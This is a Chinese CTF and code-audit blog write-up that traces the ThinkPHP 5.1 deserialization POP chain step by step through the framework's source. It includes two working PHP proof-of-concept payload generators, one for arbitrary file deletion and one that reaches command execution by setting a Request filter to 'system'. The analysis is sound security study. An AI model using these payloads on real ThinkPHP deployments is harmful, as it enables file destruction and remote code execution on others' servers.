前言
是NU1L那本书配套的一道题,在BUU上有,链接下载下来就是Thinkphp5.1
的源码,网上有很多对应的POC以及分析,刚好最近也是在学习代码审计,以前没有复现过这么难的,这次就抱着学习的心态来尝试一下。
相关环境配置
因为之前也没咋审计过代码,所以这次就顺便把环境也一起配好了,方便以后学习。这里我是参考国光师傅的配置
macOS 下优雅地配置 PHP 代码审计环境
我主要是配置了vscode的环境,phpstorm有点麻烦。
分析利用链
首先我们全局搜__destruct
方法,找到个在Windows.php
里然后发现调用removeFiles
方法,跟进去看
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); echo "removed"; } } $this->files = []; }
|
发现存在一个任意文件删除的漏洞,因为buu的环境本身存在一个反序列化的点,所以我们不用先写一个控制器
POC如下
<?php namespace think\process\pipes;
class Pipes{ } class Windows extends Pipes { private $files = [];
public function __construct() { $this->files=['/tmp/kk.txt']; } } echo urlencode(serialize(new Windows()));
|
删除成功
接着继续看RCE的链子,接下来就是要通过file_exists
函数去触发__toString
,因为当一个对象被反序列化后又被当做字符串使用时会触发这个方法,这里找到的是在Conversion.php
里,然后一直跟进,跟到toArray()
方法,
public function toArray() { $item = []; $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
$item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }
|
这个方法我们主要是要执行到$relation->visible($name);
这句,因为当我们控制$relation
为类对象,去调用这个不存在的visible
方法,就会触发__call
方法,而它一般又会存在__call_user_func
和__call_user_func_array
,PHP代码RCE的点一般也就在这里。
但是要执行到这句,我们首先要满足
$relation = $this->getRelation($key); 返回空
|
$relation = $this->getAttr($key); 不返回空
|
append
可控,我们传值不为空就好,主要看后面的
跟进getRelation
方法
public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; }
|
这里我们是从toArray
里传入了$key
,为了直接return;
,我们保证$key
不在relation
数组里就好
接着跟进getAttr
方法
public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } ....省略 return $value; }
|
从try/catch中取得$value
并且返回,所以我们又要跟进getData
public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); }
|
这个$name
就是之前$key
,然后判断是否在他的data数组和relation数组中再返回结果,这里我们的$this->data
是可控的,在Attribute
中。所以我们最终$relation=$this->data[$key]
当$relation
为一个对象时,就可以进行调用类中的 visible
方法且传参可控,这里还有个知识点就是use
关键字去继承类
所以我们找到Model.php
同时继承如上两个类,但是他是个抽象类,所以又找到他的子类Pivot
接下来的目标就是找一个代码执行的点,有__call
方法,但是不存在visible
方法。
Request.php
中
public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
|
这个hook
是可控的,但是那个args
经过了array_unshift
导致我们这个不可控,但是call_user_func_array(array(任意类,任意方法),$args)
,我们可以调用任意方法,并且再去找一个方法不受这个参数的影响
了解过ThinkPHP 历史 RCE 漏洞的人可能知道, think\Request 类的 input 方法经常是,相当于 call_user_func($filter,$data)
。但是前面, $args
数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。
我们找到input方法
public function input($data = [], $name = '', $default = null, $filter = '') { if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
if (isset($type) && $data !== $default) { $this->typeCast($data, $type); }
return $data; }
|
其中有一个filterValue
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { if (false !== strpos($filter, '/')) { if (!preg_match($filter, $value)) { $value = $default; break; } } elseif (!empty($filter)) { $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter)); if (false === $value) { $value = $default; break; } } } }
return $value; }
|
我们可以发现$value = call_user_func($filter, $value);
,这里的$value
是不可控的,这个是input
的$data
传入的,然后我们找到param,发现它在最后调用input
public function param($name = '', $default = null, $filter = '') { if (!$this->mergeParam) { $method = $this->method(true);
switch ($method) { case 'POST': $vars = $this->post(false); break; case 'PUT': case 'DELETE': case 'PATCH': $vars = $this->put(false); break; default: $vars = []; }
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true; }
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
param
可以通过GET方法传入,但是$name
是传入的,所以我们继续找,发现isAjax
public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
这里把$this->config['var_ajax']
传入param的$name
接着我们回头看call_user_func($filter, $value);
,filter
传入system
,value
传入命令,filter
是filters
数组里的,value
是在input
传入的,然后我们在input
中调用filterValue
的array_walk_recursive($data, [$this, 'filterValue'], $filter);
,这里调用filterValue
,作用在$data
,然后$filte
r是传入filterValue
方法里的第三个参数filters
,他是通过getFilter
获取
protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default;
return $filter; }
|
注意看$filter = $filter ?: $this->filter;
,可控
在input
中$data = $this->getData($data, $name);
protected function getData(array $data, $name) { foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return; } }
return $data; }
|
所以$data = $data[$name]
,它就是get和post的所有参数
最后看我们RCE的地方
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); ....省略
|
value
就是通过GET请求得到的input.data值
key
就是GET的键
filter
就是input.filter
POC
<?php namespace think\process\pipes; use think\model\Pivot; class Windows{ private $files = []; public function __construct(){ $this->files=[new Pivot()]; } } namespace think; abstract class Model{ protected $append=[]; private $data=[]; public function __construct(){ $this->append=["qqw"=>['lnk']]; $this->data=["qqw"=>new Request()]; } } namespace think; class Request{ protected $hook = []; protected $filter; protected $config; public function __construct() { $this->hook['visible'] = [$this, 'isAjax']; $this->filter = "system"; } } namespace think\model; use think\Model; class Pivot extends Model{ } use think\process\pipes\Windows; echo urlencode(serialize(new Windows()));
|
$this->append=["qqw"=>['lnk']];
满足append
不为空,且键在data
数组中
$this->data=["qqw"=>new Request()];
返回Request()
对象
$this->hook['visible'] = [$this, 'isAjax'];
为了在__call
方法中调用isAjax
$this->filter = "system";
则是要执行的函数
参考
https://ch1e.cn/2022/05/28/tp51/#%E5%89%8D%E8%A8%80
https://zeo.cool/2019/12/18/Thinkphp%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90pop%E5%88%A9%E7%94%A8%E9%93%BE/